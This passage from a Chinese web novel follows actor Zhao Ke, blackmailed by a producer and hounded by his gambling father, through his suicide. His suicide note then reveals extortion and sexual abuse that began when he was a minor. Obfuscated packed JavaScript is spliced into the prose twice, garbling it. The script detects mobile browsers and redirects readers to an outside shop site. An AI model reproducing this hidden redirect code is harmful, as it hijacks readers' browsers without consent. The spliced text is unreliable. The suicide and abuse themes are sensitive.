然而没想到,陈望那样的人也中了招,被他爸关在家里,哪里都不许去。 王吉向来是有一分钱就花一分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她疑惑,正要开口回答旁边的姐妹,就看见了朝商务车走去的赵柯经纪人。 “李哥!”萧童走不快,只能先叫住人。 男人打开车门的动作一顿,转过身,等到那几个小女生到了跟前,才看向萧童问:“怎么了?有事?” 萧童紧紧握着拐杖:“哥哥呢?他怎么没在?” 李哥:“他最后一场戏刚拍完,就发消息给我说自己有事先走了。” 萧童神色失望:“原来是这样……” 李哥抬眼打量这几个女孩子,自然看到了她们手中的礼物。 他笑:“给赵柯的杀青惊喜?” 几人齐声道:“嗯。” 李哥静了下,说:“心意我替他收下了,时间不早了,赶快回家吧。” 萧童大着胆子问:“那……之后哥哥的行程?” “你们放心,我会更新在微博。”李哥说完这句话,抬腿上车,“回家吧,注意安全。” 说完,车子启动,原地只留下几个女生。 萧童尽管内心自己很低落,但还是扭头冲其他道:“没事,来日方长,你们总有一天会在线下见到他。” “啊,好可惜,不过有的是机会。” “真人是不是更帅啊?” “我刚才紧张得心脏都要暂停了。” “哈哈,我也。” 大家七嘴八舌地说着话,沉闷的气氛一扫而空。 116. 溺水 回到租的房子里,赵柯出了一层薄汗。 拍摄地离这里有五公里,他全靠两只腿在走。 中途没有休息,没有喝水。 口腔内分泌不出唾液,牙齿和舌头像是塞了把沙子,干涩难耐,精神饱受折磨。 走了一路,身体反倒在冬日里发烫,上气不接下气的感觉恍若在凌迟。 这个小区是经纪人推荐的,比几年前他和赵父生活的破烂落败的小区好很多。 最起码墙皮不会脱落,油烟机名副其实,下水道不会堵,隔音也很好,晚上不会听到隔壁邻居的吵闹声。 房间没开灯,只有窗外对面住户的灯依稀照进来些许。 赵柯进门,鞋子都没换,径直走到沙发上坐下,不由自主地拽紧胸口位置的衣服。 太渴了…… 嗓子一动,像在吞咽绵密的沙子。 太热了…… 羽绒服下贴着的短袖被汗浸湿,湿哒哒地趴在皮肤上。 太痛了…… 身体没有伤口,但整个躯体都在痛,尤其是胸口位置,又沉又闷,灼烧而撕裂着。 呼…… 赵柯清楚,他没有生病,但他现在的确在发病……可能是心理层面的。 这些年一直睡不好,白天还能打起点精神,晚上……是深渊时刻,他被束缚其中,仰头,挣扎,喘气……天就是不亮。 出于身体的求生本能,他毅然决然地从圈内息影,找个地方躲起来。 这一躲就是六年,要不是手中的钱都花光了,也找不到合适的工作,他可能会当缩头乌龟一辈子。 踹在兜里的手还在不受控制地发抖,赵柯越是想压下那种难受感,越是会一阵一阵地寒颤。 时间在流逝着,不知道几点了。 头脑是清醒的,思想却是混乱不堪的。 家里空调没开,静坐了不知多久,走路回到家中让身体发热的热量退散个干净,砭骨的寒冷从脚踝一路向上,侵占整个身躯。 赵柯弓着腰发抖,裤袋里的手机从刚才开始就一直在震动。 过了几分钟,他才掏出来,打开点进陌生号码发来的短信。 王吉:时间到了。 王吉:视频.mp4 那个视频赵柯看过很多次,光是看到封面,他就想起了内容。 他努力地控制手指,不让它发抖,可现在连打字都难。 屏幕的光照射在他的脸上,惨白得毫无血色。 手机叮咚一声,王吉又发来一条短信:快点,少他妈装死,不给我睡就转钱,倒计时三分钟! “呕——” 赵柯倾身干呕起来,一根棱刺似乎从他的胸腔穿过头顶,神经被挤压着,眼球晕得要爆炸开来。 眼睛里全是红血丝,痉挛感一阵接一阵。 “嗬嗯……”男生弯着腰,被痛苦击碎,嗓子间溢出微弱的哭泣。 混乱中,他想,但凡今天是清醒的话就不会那么难受了。 躯体反应完全不受他的控制,他的手指一直在发抖。 小区里响起狗叫声,这点动静短暂地将男生拉回了现实。 他咬紧牙,打开通讯软件,在翻找联系人时,犹豫了一下,最终点进了程三好的对话框。 赵柯:【可以借我两百万元吗?】 几秒或者更短,那头就回复了:【是不是发生什么事了?】 下一条是:【账号给我】 赵柯发了过去。 他们几人当中,肖乐保应该算是有钱的,但是一下肯定也拿不出那么多的钱,而他找程三好的原因,是因为他知道,江砚有。 果然下一秒,手机银行卡提示,有一笔钱入账。 考拉头像跳出来:【有什么事不跟我说,回头,这笔钱一天利息长一万哈[沙包大的拳头]】 程三好:【算了,开玩笑的,你现在在哪儿?我来找你】 程三好:【赵柯呢,赵柯啊,我亲爱的朋友为啥不回复我?】 程三好:【再不回复,我报警了?】 赵柯擦了擦脸上的眼泪,想笑却笑不起来。 他抖着手指打字:【我在的,要借这笔钱是因为我爸生病要动一个大手术,而且我打算自己当导演去拍部短片,手中钱就不够,你想什么呢】 程三好:【原来如此,下次不可以再玩失踪,还有,明天我来找未来的赵大导演玩】 赵柯:【好】 他发完这句话,退出聊天页面,把钱转给了王吉。 然而就在他起身打算去厨房倒杯水缓解干渴时,一个未知属地,陌生号码打通了他的电话。 赵柯站在空荡的客厅,电话铃声一直在响,大有一种他不接就会一直狂叫的趋势。 十几秒后,男生拿起茶几上的手机划开绿色键接起来。 “喂?是小柯吗?” 惊雷炸响在头顶,手中的手机砸在地面,摔成碎片。 嗡嗡嗡—— 耳鸣,眩晕,世界发生翻转。 赵柯紧闭着眼,太阳穴猛跳,站不住似的瘫坐在沙发上。 地上的电话还在响。 “我知道是你,小柯,我这些年一直在找你,一直在联系你,可打过去的电话都是空号。” 那头的赵父声音沙哑了不少:“这个电话号码都是那个王吉给我的,说你刚给他转了两百万是吧?” “哎,你说你这孩子,这六年间也不见个声响,原来在闷声发财。” 赵父笑起来,话语亲昵,像是对过往发生的事一概不知情。 “我们家的小柯长大了,有钱了啊。” “爸爸我现在已经戒赌了,你放心。” “你现在住在哪儿啊?我看你参加的那个综艺了,人怎么瘦成这样,爸爸厨艺可不减,所以我想过来照顾你,你看看好不好?” “……” 他絮絮叨叨地说着话,语气熟稔,压根不在乎赵柯有没有听。 “爸爸我这几年身体不好了,当年被砍掉的小拇指一到下雨天就疼。” “前天我去了你妈妈的墓碑前看望她,在那里坐了很久,我可能也活不了几年了,想着不如在人生的最后时光里来看看你,你妈妈在天之灵也放心。” “小柯,你在听吗?爸爸我很想——” “嘟——”黑暗中,一只手伸过去挂断了电话。 — 翌日清晨。 “咚咚……” “赵柯你在家吗?” 经纪人李哥昨晚就打了个电话给赵柯,但是对方显示已关机。 他站在门外,又抬手敲了敲,还是没动静。 “奇怪……”李哥嘀咕一声,“这个时间点应该醒了啊。” 赵柯隐私性很强,所以经纪人每次来找他,都必须敲门,不可没有在不通知他的情况下进门,但今天实在太不同了。 握上门把手一扭,门被从里面锁上了。 经纪人手中有备份钥匙,想着现在再不叫他出发,待会儿广告拍摄就要迟到了,于是从兜里掏出钥匙插进金属孔,打开门进去。 客厅里的温度和站在外面走廊上一样,都低得很。 李哥早已习惯了他家什么时候都一副冷冷清清,整整齐齐的样子。 他正要收回视线往卧室去,忽然瞥见茶几处的瓷砖上躺着的个四分五裂的手机。 李哥皱了下眉,在他印象中,赵柯还有点强迫症,不应该会将一处脏乱置之不理。 天气阴沉,房间内光线也不亮。 经纪人内心不知为何升腾起不安,走向卧室的脚步加快。 一推门,床上没有人,他又迅速打开了卫生间的门。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290136|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“赵柯!” 救护车和警车的声音交叠在一起,陆陆续续起床的小区居民被这声音叫得心慌。 楼下,有人看到,穿着白大褂的医生从楼道中抱出一个浑身是血的湿衣男生。 那人没生气地躺着,垂下的手腕上有一道巨深的划痕。 路人捂住嘴,被吓到,连连往后退。 不久,网上微博一个词条叫#演员赵某于今早在家中被发现zs身亡#直接爆了。 #警方发现关键证据,赵某疑似死前被敲诈勒索近两百万元# #赵某遗书曝光,事件反转# #王吉被冲# …… 热搜前排全是有关赵柯zs这一事件的讨论,一时间,各方媒体纷纷跟进报道了此次新闻。 大雨新闻:“据悉,赵某几年前就出演过两三部网剧,曾小有名气,后来不知为何突然退圈,直到半年前才重回娱乐圈,拍了《种田吧,秋冬篇》综艺,后续又进组了《思君》,三天前刚杀青……” 客观新闻:“赵某经纪人李某向我方记者透露,是他第一时间发现在浴缸中不省人事的自家艺人,他当时就报了警,呼叫了救护车,但赵某经法医鉴定,死亡原因是失血过多,死亡时间大概在夜间两点到三点之间……” 映华娱乐顶层办公室外,江邱沉着脸,大步走进去,打开门,人还到桌前,话就已经说出了口。 “老板,赵柯出事了!” 他边说,边递出手中的平板,示意江砚看微博。 江砚接过来,看到微博前排的热搜,明显顿了一下。 不知想到什么,他眉头倏地皱紧,将平板往江邱手中一塞,拿上桌面上的车钥匙有些焦急地夺门而出。 这会儿正是上班高峰期,江砚开着车,脸色很不好看。 “滴滴——” 他砸了一下喇叭,前方插道的白车缓缓向旁边移开,宾利车得以冲出去。 按下电梯,到达楼层,出去,指纹在门上响了一声,江砚动作丝毫不带迟疑地迅速打开门。 “砰——” 玻璃砸在地面的声音,江砚心里不受控制地跳了一下,鞋子都没换,经过玄关,走到客厅。 他抬起目光扫视,一眼就看到左手边半开放厨房旁边站着的女生。 她一手握着手机,一只手停在空中,还穿着睡衣,光着脚丫,地上前面是七零八落的玻璃杯碎片。 程三好表情怔愣,不自觉地要往前:“江砚……” “我知道!”江砚伸手安抚人,“先别动,我过来。” 说着话,人已经大步向前,弯腰,穿过女生的膝下将人横抱在怀里,远离那尖锐的玻璃渣,回到客厅沙发上。 江砚没松开人,就抱着人侧坐在自己的腿上,低头检查,她脚上有没有受伤。 程三好刚出院没几天,现在是在家里修养,肤色还是很白。 她紧紧握住手机,看向江砚:“我是不是在做梦?” 江砚看着她的表情,一度有些说不出话来。 他的迟疑被程三好看在眼里,她像是没睡醒,又像是没反应过来,有点生气:“江砚,我在跟你说话。” 江砚垂下目光,半晌,不忍心道:“事情的确发生了。” 女生笑了一声,“我昨晚还跟他聊天呢,肯定在做梦。” 程三好内心真的很平静,她摸着自己的腿使劲地要掐,被江砚及时抓住。 男人直视着她,语气沉了些:“不能伤自己……” 程三好甩开他的手,突然变成了个小孩子,耍起了性子,她说:“我昨晚和他约好的,今天去找他玩。” 话音刚落,她就要从江砚腿上下去。 男人一把将人搂进怀里,抱得很紧,低声说了句:“……我们一起去找他。” 女生垂着手,没再动。 117. 苦楚 赵柯留下的遗书交代了一切。 他出生一个普通的家庭,妈妈是纺织厂的工人,爸爸是基层民警。 一家三口挤在窄小破烂的四十平小屋,虽说不富裕,但胜在家庭和睦,幸福美满。 直到他小升初那年,妈妈突发心肌梗塞,没抢救回来,这个家一下子成为了块碎裂的镜子。 赵爸爸开始酗酒,喝醉后闹了事,被从派出所开除后,回到家中一蹶不振。 以前厨房里常见他忙活的身影,但现在他要么在外面彻夜不归,要么回到家中客厅上烂醉如泥,任凭赵柯怎么叫人,他都不理会。 于是赵柯学会了照顾自己。 妈妈在世时,提倡节俭,这么些年也攒了些钱,所以短时间内,哪怕赵爸爸不工作,这点存款也足以支撑到赵柯读完高中。 他开始试着做饭,有一次不小心被热油洒到了脚背,痛得他哭起来。 那天赵父在家,也没有喝醉,他听到动静,迅速跑过去,背着赵柯就去医院。 他清醒的时候很正常,还会在周边的超市兼职个送货员,赚点钱补贴家用。 除了这件事,赵父就不让赵柯进厨房了,他跟孩子保证:“爸爸我以后把酒戒掉,咱们两个好好活。” 一蹶不振的赵爸爸支棱了起来,他白天在超市打工,晚上就去大排档的地方打下手。 赵柯读的学校是寄宿制,他一周都在学校,只有周末回家。 每次回来,赵父都会给他做好吃的,在饭桌上,有时候打趣道:“爸爸以后可就靠你了,你可要好好读书啊。” 天花板上的灯泡发出暖黄的光亮,家中干干净净,整整齐齐,赵柯吃着饭点头,他依恋这样温馨的时刻。 然而一年后,中考在即,赵爸爸却沾染上了赌博。 赵柯起初没注意,直到邻居大婶好心提醒:“你最近在学校不清楚,你爸爸,哎,在三清街头的一个胡同里与人赌博,你找个机会与他说说,要不然以后耽误到你。” 少年肩上还背着书包,他站在门外,没有掏出钥匙,而是朝着三清街头尽头狂奔。 掀开厚重的门帘,里面乌烟瘴气,吵闹声不绝于耳。 赵柯在哄闹的人群中一眼就看见了背对着他的赵爸爸。 他从人群中挤过去,二话不说地就要拉着赵父离开。 赵爸爸在赌桌上不肯走,眼神陌生得赵柯不敢认。 “小柯,你别闹,回家去,自己做点饭吃,待会儿我就回来。” “爸!”赵柯的手被挣脱开,“跟我走!” 周围人见状,纷纷笑呵呵:“老赵,这是你儿子啊?长得真俊!” “小帅哥,这里不是你该来的地方,赶紧出去!” “读几年级了啊?” 七嘴八舌的话涌入赵柯的耳膜,全是不怀好意的。 这些人侮辱赵柯,赵父竟然眼睛放光地盯着赌桌上的牌。 他松了手,跑了出去。 外面的空气没那么污浊了,可赵柯仍觉呼吸困难。 想到什么,他又加快步伐回到家中,翻出那个名为小柯读大学的存钱罐打开。 里面空无一物。 赵柯不可置信,他倒转铁盒子抖了抖,什么都没有,连一粒灰尘都搜刮个干净。 脊背出了一层冷汗,男生瘫坐在床上,一直没有动。 天色黑了下来,赵父没有回来。 赵柯保持着动作,一夜没睡,直到天边翻出鱼肚白,玄关处传来开门的声音。 他缓慢起身,离开卧室,来到客厅。 赵父抬头看见人,下意识道:“小柯?这么早就起床了啊?” “我没睡。” 赵父哦哦了两声,低头换鞋。 赵柯语气很平静:“那个铁盒子中的钱去哪儿了?” 赵父已经换上拖鞋,他朝他的卧室走去,目光躲闪:“哎呀,我拿走了嘛,过几天,爸我跟你保证,绝对还回来。” “爸!”赵柯拦住人,崩溃出声,“你不是说好了,我们好好过,等我读出书来,找到工作,你还想要去旅行不是吗?” “也不冲突啊,”赵父丝毫没有愧疚之心,“我赌博都是为了你,你别看我现在是在输的阶段,我有预感,明天我将实现翻盘,你等着我搞笔大的,到时候,我们就不用住在这个破落小的屋子了。” 他说完也不理会赵柯,打开卧室门进去,还将门反锁,像是很烦儿子的啰嗦。 赵柯怔愣着,半晌,终于忍不住痛骂:“你能不能清醒点!那玩意儿是能碰的吗?我跟你说,我明天也不去学校了,就在家里堵你!你必须给我戒掉!” 他吼完,房间内落针可闻。 赵柯气得不行,去厨房煮了碗面吃了几口,就把书包提到客厅,自己在沙发上复习。 除了上厕所的时间,他一刻也没有离开。 一天很快就过去,气消了不少,他去敲门:“爸?醒了吗?出来吃饭,我做好了。” “……”里面没有动静。 赵柯皱眉,抬起手哐哐地敲,声音很大:“你还认我这个儿子的话就出来,有事我们好好商量。” “……” 赵柯转身,在家里放钥匙柜的地方找起了赵父房间的钥匙。 他一把一把地试,胜在有一把能行。 卧室内黑漆漆的,赵柯将灯打开,一看,那床上压根没什么人,一旁的窗户打开着,风往里灌。 赵柯迅速走过去,从打开的窗户往下看,早已没了人影。 他们家在二楼,赵父应该是踩着下水管道下去的。 赵柯目光发愣,半晌,终是忍不住踢了一下木床,低骂一句:“艹!” 人生命运就是这样,毫不讲理。 接下来的生活越来越糟糕,赵父整日整夜地赌,家里所有的钱都被他输光了。 赵柯劝不动,私下偷偷报了警,警察把那处赌博的地方给端了。 然而没什么用,赌博上瘾的人有个圈子,总会有人叫赵父,去到另一个地方赌。 赵柯中考完那天,下着大雨。 他没带伞,淋着雨往校外走。 车轮子碾过水洼,溅起一串透亮的水珠,人群摩肩接踵,雨滴落在行人的伞上。 滴答滴答—— 赵柯摸了一把眼睛上的雨水,额头碎发全湿了。 他抬眼,朝前面走。 周围来接孩子的家长很多,一看自家孩子出来,纷纷打着雨伞往里走。 人流涌动,赵柯身影与这些人交错开来。 学校离家步行半小时,赵柯一想到家里脏乱一团,内心升腾起不适,但他还是回家了,那是他唯一的归宿。 年代久远的小区楼道很窄,白色的墙皮时不时都会脱落,掉在地面,凌乱,灰扑扑。 赵柯踩在上面,脚底被白漆沾染,往上走,留下脚印。 他上了二楼,站到一扇门前,却见门没关严实,里面传来陌生男人的声音。 “赌得起,就要还得起啊!” “妈的!还钱!我限你三天之内把钱送到不永巷,要不然到时候,你别怪我来点狠的!” 赵柯当即皱眉,二话不说地推门进去。 一眼扫过去,屋内的家具都被砸了,空气中灰尘满天,三个露着膀子的男人围着趴在地上鼻青脸肿的赵爸爸,一人脚还踩在他的脸上。 听着动静,四人扭头看过来。 赵柯想也不想就冲了过去,推开踩赵父的那个男人,扶着自己的爸爸站起来。 “哟呵,赵晋,没想到你还有这么个俊俏的儿子啊。”踩人的那个男人头发染成黄色,脖子上戴着条金链子,被人推开也没生气,反倒饶有兴趣地看着这个男生。 赵父脸肿,眼睛也肿,视野中只有一条细缝。 他吃力地说着话:“不关他的事……” 黄毛男抱着手,歪着嘴嘲弄道:“早干嘛去了,要是不关他的事,就不要赌啊!谁让你们是父子呢,对了,有句话叫父债子偿是吧,要不这样——” 他停顿一下,还未说话,赵晋就急吼一声:“你踏马是畜生!啊——” 他话音还未落,另外的两个男人就分别踢了赵父一脚。 “爸!”赵柯扑过去,紧紧抱住他。 那些人要冲上去,黄毛慢悠悠说了句:“停……这小子未成年,悠着点不要到时候惹出事。” 这个男人说着话,蹲下身,眼睛盯着赵晋:“三天,懂吗?” 赵父忙不迭点头。 黄毛这才满意地站起来,走之前看了一眼赵柯,意味不明地笑了一声。 三人离开了房间,赵柯松开赵父,瘫坐在一边,惊魂未定。 大门敞开着,穿堂风一阵接一阵,餐桌布飘扬。 凉风吹散了惊惧,赵柯反应过来的第一时间就是质问赵父:“爸!那些人是谁?” 赵晋浑身都疼,他龇牙咧嘴地吸着凉气,混不在乎地说:“赌场老板的下属。” “那玩意儿就那么让你上瘾吗?!啊?”赵柯冷,哪哪儿都冷,声音也颤抖得不像话,“你到底要干什么!你要连我都毁了是吗!啊?我问你!” 他吼完,房间陷入安静。 许久,赵柯站起来,眼睛里的光随着天色的暗淡也一并熄了下去。 他听到自己问:“欠多少?” “……三十万元。”赵父不敢看儿子的眼睛。 “……”赵柯冷笑着看向别处,良久,他说,“赵晋,我的人生完了。” 三天后,那些讨债的如约而至。 赵柯他们肯定是拿不出钱的,所以只能将这间陪伴他们十几年,存蓄着赵柯母亲美好回忆的屋子抵押出去。 二人成了无家可归的人。 邻居可怜赵柯,收拾自家的杂货间出来给他。至于赵晋,鲜少有人再看到他在三清街出没。 赵柯没有去过问他,他的录取结果出来,最终也没有去高中学校报道。 不说学费,他现在连养活自己都难。 身上分文未有,邻居大婶能给他一口饭吃,不代表他能一直倚靠她家。 于是他休学,去外地打工。 白天在快递公司做分拣,晚上在大街发传单。 起初因为他未成年的原因,很多公司都不要他,最后可能是见他是在可怜,这个快递公司的老板就当他是学生来打暑假工,允许他来工作。 至于晚上的兼职就不稳定,他四处跑,什么都做过。 有一天在酒吧给一个客人上完酒后,他收到了一张名片。 那人是某传媒公司的经纪人,问他有没有意愿签约他们的公司,想不想成为明星。 赵柯当时一口回绝,没有答应。 然而第二天,他就被快递公司的老板辞退了,说上面最近查得严,他不敢再留他在公司里了。 最重要的一笔收入断了,赵柯焦虑起来。 他从来没打算不读书,所以才休学,所以才出来打工攒钱挣学费。 然而事情不顺利,晚上的兼职不稳定,根本攒不了几个钱。 他捏着那张名片,最终还是打给了那个人。 出乎他意料的是,不论是经纪人还是公司都很好。 虽然资源很差,也只能饰演一些网剧中的边缘角色,不过因为他长相出众的关系,有所曝光后,竟然开始有导演制片人主动找上来。 经纪人高兴,公司老板也很高兴,赵柯罕见地轻松了一些。 他出演一部网剧的男主,所获得的片酬是以前从来不敢肖想的。 有了能力,他每个月都会向赵父的账号里转一千。 二人之间默契着,谁也没有过问。 赵柯不知道他有没有戒赌,他想,这点钱应该够他日常花销就行。 电视剧播放数据不错,赵柯还拥有了一些喜欢他的粉丝,这点成就让他感受到了一点人生价值。 那时他几乎都要忘记所有痛苦,决定往前看,往前走,对未来有了憧憬。 完成当天的广告拍摄,经纪人领着他去面试下一部剧的角色。 那部剧的监制就是王吉。 赵柯当时并不知自己已经落入虎口,他回去后没有多久就得知自己面试上了。 签了合同,他进组 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赵柯耳边都是七嘴八舌看好戏的嘲讽声,好不容易捱到拍摄完成,他以为自己可以远离王吉了,不成想,他竟然追到了他住的地方,当着小区内的大妈大婶们,扬言到要追他。 那一瞬间,晴天霹雳也不为过。 赵柯报了警,王吉直言他是在追男生,并没有骚扰。 因为没有实际性的关键证据,王吉最终毫发无伤地离开了警局。但是也因这次赵柯果断的行为,王吉越加变本加厉,他说:“我不会生你的气,我那么喜欢你,我只是想靠近你罢了。” 对方那句话落下,赵柯动了手。 他那会儿还没有那么清瘦,力道不轻,把王吉直接打进了医院。 在被拘留了十五天后,他出来后,小区的人,网络上的人,全世界,都在谩骂他。 他遭受了前所未有的网暴。 偏偏在那时,赵父联系他的频率增高,基本上每次都是来要钱。 赵柯不给,他直接跑到他正在拍戏的片场,大闹起来,说他如何如何亏待他这个父亲的,视频被人传播到网络上,顿时腥风血雨又来一遭。 明明也只过了三年,赵晋陌生得赵柯不敢认。 他满眼浑浊,脸色沧桑,人也衰老了很多。 赵柯失望透了,他拉黑自己的父亲,也搬离了住处,去到了连经纪人都不知道的地方。 精神饱受折磨,心里千疮百孔。 到新地方的那天晚上,他没睡着,或者说他已经失眠很久了。 第二天淅淅沥沥地下着雨,空气沉闷,地面湿哒哒的,让人不自禁地烦躁。 赵柯看着窗外,生出了念头,他想退圈了。 “轰隆——” 天空惊雷作响,雨势倏而变大。 雨气争先恐后地往屋内跑,赵柯抬手正要关窗,手机叮咚一声,提示有新短信。 他本是随意地一扫,不成想,这一看,深渊将他吞没。 陌生号码发来的彩信是一张图片,画面中,赵晋被人按在地面,右手手背被人踩着,地面鲜血淋漓,割断的小拇指躺在一边。 这一幕堪称恐怖片,十分地血腥,尤其是镜头刻意放大了断掉的小拇指横截面。 鸡皮疙瘩起了一身,赵柯没去管窗户,拿起手机点开,这时刚好有一条新消息跳进来。 王吉:【要不说我们有缘呢,不要以为你躲起来我就不能找到你了,这不,你爸借高利贷借到我头上了,我不得……招待招待咱岳父大人】 王吉:【他欠了我们一百万,如果你这个作为儿子的不能替他偿还,我只能让人把他的心脏掏出来抵债了】 “哗啦啦——” 窗外的大雨瓢泼,赵柯呼吸急促,手指发抖。 他死死地抱住脑袋,神情痛苦,他不想管赵晋,但那是他的父亲。 亲情要是能杀死就好了,他的心要是变成一块石头就好了。 啊——命运,为何不对我网开一面。 赵柯心想,难道我前世是罪孽深重的恶人嘛,所以这一世,老天要惩罚我。 最终,他还是去了。 赵父活了下来,赵柯却“死”在了那个秋天。 他的身体变得不值钱,却又能产生钱。 赵晋欠的那一百万还清后,赵柯跑了。 这一躲就是六年,曾经的手机号早已注销,那时铺天盖天的谩骂也早已湮灭在时间长河里。 他参加了一档种田综艺,拥有了四个特别好的朋友。 他们真的很有趣,很善良,赵柯久违地感受到了温暖。 但他依旧生活在恐慌当中,他知道,他这一辈子都不会好过。 就是没想到那么快,王吉、赵晋,这两个噩梦缠上了他。 他应该如他以前所预料到的那样,丝毫没有慌张,内心早已接受了现实。 可等那天真的到来,他很难过…… 他生出了对这个世界的一点留恋。 【你真的很帅啊】 【赵柯,这段时间不要碰水,碗我来洗】 【这是我妈托人给我带回来的祛疤膏,还不错】 【二哥,是你救了我】 【我们回家】 【对,回我们的家】 这段于秋天开始的友谊,暖得像在过春天。 可惜,他等不到春了…… 赵柯不知道王吉竟然偷拍了那样的视频,那就像个悬在心头的炸弹,只要他活着,他就要每天提心吊胆地担忧它何时会爆炸开来,将他撕裂,暴露在世人的眼下。 只有死,好像才是唯一的解脱。 他希望离开这个世间之前,他尚留有一丝清白,哪怕只有一点。 于是他才会跟程三好借两百万元转给王吉,他死可以,但王吉也不要好过。 遗书中他写得很清楚,王吉早年间或者现在都在进行一些非法的高利贷敛财手段,他骚扰赵柯时,男生还在未成年,甚至发生关系时,赵柯离十八周岁还有几个月。 他并非自杀,他是被逼死的——